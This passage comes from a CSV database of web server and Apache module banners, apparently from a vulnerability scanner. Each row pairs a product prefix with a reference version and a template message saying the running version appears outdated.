be outdated (current is at least @CURRENT_VER)" "600316","JanaServer/","2.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600317","JARING/","10.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600318","java/","1.8.0_144","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600319","JavaHttpServer/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600320","JavaWebServer/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600321","JBoss_","4_0_3_SP1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600322","JC-HTTPD/","1.16.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600323","JETServ/","2.2.25","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600325","JeusWebContainer/","Jeus WebContainer/4.2.4.7","RUNNING_VER appears to be outdated (current is at least CURRENT_VER)" "600326","Jigsaw/","2.2.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600327","Joke/","0.9b5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600328","JRun/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600329","JRunWebServer/","3.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600330","JSP/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600331","JWalkServer/","Version3.3C8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600332","JXAS/","3.0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600333","keyLargo HTTPD ","v1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600334","KK-NET wpp/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600335","KnowNowLiveServer/","2.0.7.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600336","Koalah/","1.3.31","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600337","L series Web/","1.0-beta","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600338","L/","FSV-28-01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600339","LabVIEW/","5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600340","LANWeb.I/","v1.82","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600341","Lasso/","8.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600342","Legend-IIS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600343","LePenguin ","0.2a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600344","Liberator/","3.4.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600345","libwww-perl-daemon/","6.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600346","lighttpd/","2.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600348","Line-Tap/","3.13","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600349","Linux-Mandrake/","3mdk","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600350","Linux/","11mdk","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600351","LiteSpeed/","6.0.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600352","LittleDutchMoose/","v10.3Build","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600353","LocalDirector/","4.2.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600354","Lotus-Domino/","6.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600355","Lotus-Domino/Release-","4.6.7a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600356","LURHQServer/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600357","LV_HTTP/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600358","M-HTTPD/","2.0.11.3 (Unix) PHP/3.0.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600359","MacHTTP/","2.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600360","madna/","1.42","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600361","MAIA/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600362","MailSite-HTTPMA/","8.0.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600363","MakeShop/","1.0.29","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600364","Mandrake Linux/","10.2mdk","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600365","Mark/","1.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600366","Mathopd/","1.6b7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600367","Matsya/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600368","Mediasurface/","4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600369","Meridian Data/","2.1.340","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600370","Meta-HTML/","6.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600371","MGI Server/","1.7.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600372","MHttpd/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600373","Micro-HTTP/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600374","Microsoft_PWS_Mac/","4.0b1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600375","Microsoft-HTTPAPI/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600376","Microsoft-IIS/","10.0","@RUNNING_VER may be outdated (current is at least @CURRENT_VER; IIS 6.0 support is available until 2014)" "600377","Microsoft-Internet-Information-Server/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600378","Microsoft-PWS-95/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600379","Microsoft-PWS/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600380","Microsoft-WinCE/","6.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600381","Midgard/","8.09.6.99","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600382","mini_httpd/","1.1919","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600383","Mini-Proxy/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600384","Mini-Web/","0.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600385","MiniServ/","1.590","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600386","MiniWebSvr/","0.0.9svn","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600387","Minstrel-httpd/","2.0.g","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600388","Miranda Web/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600389","MirandaWeb/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600390","Mirapoint/","3.5.4-GR","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600391","Miwok/","1.618","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600392","mod_accel/","1.0.34","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600393","mod_accessref/","1.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600394","mod_accounting/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600395","mod_adu/","cu_1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600396","mod_advert/","1.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600397","mod_antihak/","0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600399","mod_attach/","0.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600400","mod_auth_ascauth/","1.1-Basic","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600401","mod_auth_birdview/","1.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600402","mod_auth_cutoken/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600403","mod_auth_external/","2.2.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600404","mod_auth_ianus/","3.4-PAT","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600405","mod_auth_inst.c/","19980202","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600406","mod_auth_ip/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600407","mod_auth_kerb/","5.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600408","mod_auth_ldap/","2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600409","mod_auth_mda/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600410","mod_auth_mysql/","2.20","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600411","mod_auth_nds/","0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600412","mod_auth_notes/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600413","mod_auth_ns/","0.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600414","mod_auth_nt/","1.3.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600415","mod_auth_ntdom/","0.4.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600416","mod_auth_ora7/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600417","mod_auth_ora8/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600418","mod_auth_oracle/","0.5.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600419","mod_auth_pam_external/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600420","mod_auth_pam/","1.1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600421","mod_auth_passthrough/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600422","mod_auth_pgsql_sys/","0.9.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600423","mod_auth_pgsql/","2.0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600424","mod_auth_pop3/","0.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600425","mod_auth_radius/","1.5.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600426","mod_auth_remote/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600427","mod_auth_shadow/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600428","mod_auth_sspi/","1.0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600429","mod_auth_tkt/","2.1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600430","mod_authserv_userdir/","asam1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600431","mod_backhand/","1.2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600432","mod_bandwidth/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600433","mod_become/","1.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600434","mod_bigwig/","2.0-15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600435","mod_binford/","6100","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600436","mod_blosxom/","0.05","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600437","mod_bluestem/","0.19","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600438","mod_bwlimited/","1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600439","mod_bwprotect/","0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600440","mod_bwshare/","0.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600441","mod_cap/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600442","mod_catax/","4.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600443","mod_cgi_sugid/","1.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600444","mod_choke/","0.07","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600445","mod_chroot/","0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600446","mod_clarassl/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600447","mod_clickthru/","0.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600448","mod_czech/","3.1.1b2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600449","mod_deflate/","1.0.21","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600450","mod_demonstrans/","0.3.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600451","mod_dp/","lk.0.20.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600452","mod_dtcl/","mod_dtcl/0.5.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600453","mod_fastcgi/","2.4.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600454","mod_filter/","1.4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600455","mod_frontpage/","4.0.4.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600456","mod_gzip/","2.1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600457","mod_id/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600458","mod_imode/","1.0.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600459","mod_index_rss/","1.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600460","mod_interchange/","1.34","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600461","mod_ipdrop/","0.01","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600462","mod_ipw/","0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600463","mod_jk/","1.2.50","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600464","mod_jk2/","2.0.5-dev","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600465","Mod_JServ/","1.1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600466","mod_layout/","4.0.1a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600467","mod_ldap_userdir/","1.1.17","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600468","mod_lisp/","2.35","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600469","mod_log_byte/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600470","mod_log_bytes/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600471","mod_loopback/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600472","mod_macro/","1.1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600473","mod_mcrypt/","2.4.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600474","mod_mirror/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600475","mod_mono/","3.13","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600476","mod_mp3/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600477","mod_mp3idver/","0.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600478","mod_mrim/","0.17","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600479","mod_mundinteractivos/","2.1.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600480","mod_mya/","3.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600481","mod_mylo/","0.2.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600482","mod_nsn/","1.0_0-dev","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600483","mod_oas/","5.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600484","Mod_OOiS/","0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600485","mod_oprocmgr/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600486","mod_pcgi2/","2.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600487","mod_perl/","2.0.13","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600488","mod_plsql/","11.1.1.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600489","mod_pointer/","0.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600490","mod_protection/","0.0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600491","mod_psoft_traffic/","0.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600492","mod_pubcookie/","3.3.4a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600493","mod_pubcookie/a5/","1.77.2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600494","mod_python/","3.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600495","mod_random/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600496","mod_rbcban/","2.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600497","mod_rdbcookie/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600498","mod_relocate/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600499","mod_repository/","0.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600500","mod_require_host/","2.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600501","mod_roaming/","2.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600502","mod_rpaf/","0.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600503","mod_rsawebagent/","8.0.2[765]","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600504","mod_ruby/","1.3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600505","mod_scgi/","1.15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600506","Mod_security/","1.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600507","mod_session/","1.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600508","mod_sleep/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600509","mod_snmp/","1.3.6.11","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600510","mod_spidercache/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600511","mod_ssl/","2.9.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER) (may depend on server version)" "600512","mod_sugid_files/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600513","mod_survey/","3.0.15","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600514","mod_suspend/","0.8","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600515","mod_tagx/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600516","mod_tcl/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600517","mod_text2html/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600518","mod_throttle/","3.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600519","mod_trigger/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600520","mod_tsunami/","3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600521","mod_uwa/","3.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600522","mod_vdbh/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600523","mod_vhost_ldap/","1.2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600524","mod_vhost_mysql/","0.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600525","mod_view/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600526","mod_virgule/","1.41","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600527","mod_virtual/","0.97.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600528","mod_watch/","4.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600529","mod_webapp/","1.2.0-dev","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600530","mod_webkit/","0.9.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600531","mod_webkit2/","0.9.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600532","mod_websh/","3.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600533","mod_wodan/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600534","mod_xlayout_jh/","0.0.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600535","mod_xslt/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600536","mod-xslt/","1.3.9","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600537","ModLayout/","5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600538","ModNeva/","2.0.b","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600539","Monkey/","0.9.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600540","Mono-XSP Server/","1.0.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600541","Mono-XSPServer/","1.0.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600542","MontaVistaLinux/","2.1UPnP","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600543","MortBay-Jetty-","2.3.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600544","MS-MFC-HttpSvr/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600545","MSIWB/","MSIWB/1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600546","MTransit2/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600547","Mya/","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600548","MyWebServer/","3.5.71","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600549","NaviServer/","2.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600550","NCSA-CRC+/","1.4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600551","NCSA/","1.5.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600552","NDCAP/","2.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600553","NeoWebScript/","3.3.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600554","NetApp/","7.3.6","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600556","NetApp/build.","RbecksN_000805_0805.000805_0940","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600557","NetCache appliance \(NetApp/","6.1.1RC1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600558","NetCacheappliance\(NetApp/","6.1.1RC1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600559","NetEVI/","3.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600560","NetPhantom/","3.61","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600561","NetPresenz/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600562","NetPublisher/","1.10.020","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600563","Netrox-Apache/","1.3.24","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600564","Netscape-Administrator/","3.54","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600565","Netscape-Brew/","6.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600566","Netscape-Commerce/","1.13","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600567","Netscape-Communications/","1.12","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600568","Netscape-Enterprise/","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600569","Netscape-FastTrack/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600570","Netscape-Proxy/","3.52","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600571","NetWare-Enterprise-Web-Server/","5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600572","NetZoom","1.00","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600573","ngd/","4.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600574","mod_wsgi/","4.9.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600575","nginx/","1.24.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600576","Niagara Web Server/","1.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600577","NiagaraWebServer/","3.5.34","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600578","NIS/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600579","Nitix/","4.2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600580","Novell-HTTP-Server/","3.1R1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600581","NS_","6.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600582","Nucleus/","4.3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600583","NUD/","3.9.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600584","NULLhttpd/","0.5.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600585","NYSED-A-Series/","2.0X","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600586","OAS/","4.57","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600587","OFIWebServer","1.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600588","OmniHTTPd/","2.10","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600589","OmniSecure/","3.0a3","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600590","Open-Market-Secure-WebServer/","V2.1.","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600591","Open-Market-Secure-WebServerGlobal/","2.0.10.RC0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600592","Open-Market-SecureLink-Bridge/","V2.1.RC0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600593","OpenPKG/","2.5","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600594","OpenSA/","1.0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600595","OpenSSL/","3.6.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER). OpenSSL 1.1.1w is current for 1.x and is supported via contract, and 3.0.12 for 3.0.x, and 3.1.4 for 3.1.x." "600596","oplweb/","1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600597","Oracle HTTP Server Powered by Apache/","1.3.22","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600598","Oracle_Web_Listener_NT_","2.1.0.3.1/1.20in2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600599","Oracle_Web_Listener/","4.0.8.2.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600600","Oracle_Web_listener2.1/","1.20in2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600601","Oracle_Web_listener3.0.2.0.0/","2.14FC1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600602","Oracle_Web_listener3.0/","2.13","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600603","Oracle_WebDb_Listener/","2.1","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600604","Oracle-Application-Server-10g/","10.1.3.5.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600605","Oracle9i Enterprise Edition Release ","9.2.0.1.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600606","Oracle9iAS ","(9.0.3.0.0) Containers for J2EE","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600607","Oracle9iAS-Web-Cache/","9.0.4.0.0","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600608","Oracle9iAS/","9.0.4","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600609","OracleAS-Web-Cache-10g/","10.1.2.3.2","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600610","Orion/","2.0.7","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600611","OSDK/","2.0.44","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600612","OSU/","3.10a","@RUNNING_VER appears to be outdated (current is at least @CURRENT_VER)" "600613","OWW/","29.3.1","@RUNNING_VER appears to be 